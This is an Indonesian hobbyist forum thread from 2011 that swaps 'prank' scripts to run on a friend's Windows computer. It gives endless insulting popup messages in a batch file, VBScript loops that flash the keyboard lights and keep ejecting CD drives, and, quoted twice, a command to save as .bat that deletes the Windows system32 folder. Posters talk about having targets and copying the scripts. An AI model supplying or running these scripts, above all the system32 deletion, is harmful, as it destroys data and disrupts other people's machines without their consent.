script jailin kompie temen (working in windows)

[darma]

ilmu terlarang level berapa ni..
kacau" banget

tapi

[XenoNime]

(06-22-2011 12:20 PM)KatsukiDaito Wrote:  kalo ane lebih jail yang ini

Quote:del c:WINDOWSsystem32*.*/q

simpat dengan extensi .bat atau .cmd

waduuuhhh
bisa"

[XPByte]

(06-22-2011 12:02 PM)chaer.newbie Wrote:  

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

kalo yg itu biar alay tulisannya..wkkkw

keyboard nya jadi lampu disko OM chaer

[lanionk]

di coba om
lmyn udah punya target

[payno]

ane udah coba tapi kok ga bisa closed ya om wkwkwkwkwkwkw

[ganatha]

(06-22-2011 12:20 PM)KatsukiDaito Wrote:  kalo ane lebih jail yang ini

Quote:del c:WINDOWSsystem32*.*/q

simpat dengan extensi .bat atau .cmd

gaswat omz. .

[My_lovely]

(06-22-2011 11:31 AM)Lintang27 Wrote:  maaf klw repost

Selamat datang di kumpulan script unik menggelitik dan bikin kesel temen. Anda pengin ngerjain komputer temen anda? Ini dia solusinya.
Siapkan peralatanya dulu deh:

Komputer pastinya
Buka note pad anda
Sebungkus roko"
Segelas kopi
Pisang goreng

Oke deh kalo semua udah siap, kali ini kita akan ngerjain komputer temen dengan message yang nongol mulu..... ceritanya kaya jolangkung nih script karena datang tak dijemput pulang tak diantar.
Kopikan script dibawah ini kedalam notepad:

Code:

@ECHO off
:Begin
msg *muka lo jelek
msg * ngaca dulu dong ih
msg * hayo lo,kompi lu busuk tuh
msg * ud deh reinstall aja
msg * biar masalah nya kelar
GOTO BEGIN

Kalo udah save dengan nama file.BAT beres deh, sekarang tinggal nyari target percobaan... dan bisa diganti sesuai selera.

Trus script yang kedua nih bisa buka nutup cd/dvd dengan sendirinya. Jadi...... kesannya tuh ada hantu yang gi main main ma kompi. Mo nyobain???????
Kopi scriptnya:

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Kalo udah save dengan nama file.vbs beres deh.
Met njailin temen ya....

wew keren izin kopas ya om

[Matmund Newbie]

wkwkwkwk.... jgn gtu akh